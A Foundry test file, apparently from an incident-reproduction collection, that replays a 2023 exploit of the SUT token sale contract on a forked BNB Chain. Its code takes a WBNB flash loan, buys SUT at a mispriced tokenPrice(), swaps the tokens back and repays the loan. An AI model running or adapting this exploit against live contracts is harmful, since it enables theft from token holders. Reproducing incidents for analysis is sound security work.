src/test/2023-07/SUT_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~8K USD$
8// Attacker : https://bscscan.com/address/0x547fb3db0f13eed5d3ff930a0b61ae35b173b4b5
9// Attack Contract : https://bscscan.com/address/0x9be508ce41ae5795e1ebc247101c40da7d5742db
10// Vulnerable Contract : https://bscscan.com/address/0xf075c5c7ba59208c0b9c41afccd1f60da9ec9c37
11// Attack Tx : https://bscscan.com/tx/0xfa1ece5381b9e2b2b83cb10faefde7632ca411bb38dd6bafe1f1140b1360f6ae
12 
13// @Analysis
14// https://twitter.com/bulu4477/status/1682983956080377857
15 
16interface IUniswapV3Router {
17    struct ExactInputSingleParams {
18        address tokenIn;
19        address tokenOut;
20        uint24 fee;
21        address recipient;
22        uint256 amountIn;
23        uint256 amountOutMinimum;
24        uint160 sqrtPriceLimitX96;
25    }
26 
27    function exactInputSingle(
28        ExactInputSingleParams memory params
29    ) external payable returns (uint256 amountOut);
30}
31 
32interface ISUTTokenSale {
33    function tokenPrice() external view returns (uint256);
34 
35    function buyTokens(
36        uint256 _numberOfTokens
37    ) external payable;
38}
39 
40contract SUTTest is Test {
41    IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
42    IERC20 SUT = IERC20(0x70E1bc7E53EAa96B74Fad1696C29459829509bE2);
43    IUniswapV3Router Router = IUniswapV3Router(0x13f4EA83D0bd40E75C8222255bc855a974568Dd4);
44    IDPPOracle DPPOracle = IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);
45    ISUTTokenSale SUTTokenSale = ISUTTokenSale(0xF075c5C7BA59208c0B9c41afcCd1f60da9EC9c37);
46 
47    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
48 
49    function setUp() public {
50        cheats.createSelectFork("bsc", 30_165_901);
51        cheats.label(address(WBNB), "WBNB");
52        cheats.label(address(SUT), "SUT");
53        cheats.label(address(Router), "Router");
54        cheats.label(address(DPPOracle), "DPPOracle");
55        cheats.label(address(SUTTokenSale), "SUTTokenSale");
56    }
57 
58    function testExploit() public {
59        // Start with 0 BNB
60        deal(address(this), 0 ether);
61        // Take 10 WBNB loan
62        DPPOracle.flashLoan(10e18, 0, address(this), new bytes(1));
63 
64        emit log_named_decimal_uint(
65            "Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), WBNB.decimals()
66        );
67    }
68 
69    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
70        SUT.approve(address(Router), type(uint256).max);
71        WBNB.withdraw(10e18);
72 
73        emit log_named_uint("Incorrect SUT token price returned from tokenPrice() function", SUTTokenSale.tokenPrice());
74 
75        SUTTokenSale.buyTokens{value: 6.855184233076263744 ether}(SUT.balanceOf(address(SUTTokenSale)));
76 
77        emit log_named_decimal_uint("Buyed number of SUT tokens", SUT.balanceOf(address(this)), 18);
78 
79        // Swap all SUT tokens to WBNB
80        SUTToWBNB();
81 
82        // Wrap the remaining BNB (after buying SUT tokens) to WBNB
83        WBNB.deposit{value: address(this).balance}();
84 
85        // Repaying flashloan
86        WBNB.transfer(address(DPPOracle), baseAmount);
87    }
88 
89    receive() external payable {}
90 
91    function SUTToWBNB() internal {
92        IUniswapV3Router.ExactInputSingleParams memory params = IUniswapV3Router.ExactInputSingleParams({
93            tokenIn: address(SUT),
94            tokenOut: address(WBNB),
95            fee: 2500,
96            recipient: address(this),
97            amountIn: SUT.balanceOf(address(this)),
98            amountOutMinimum: 0,
99            sqrtPriceLimitX96: 0
100        });
101        Router.exactInputSingle(params);
102    }
103}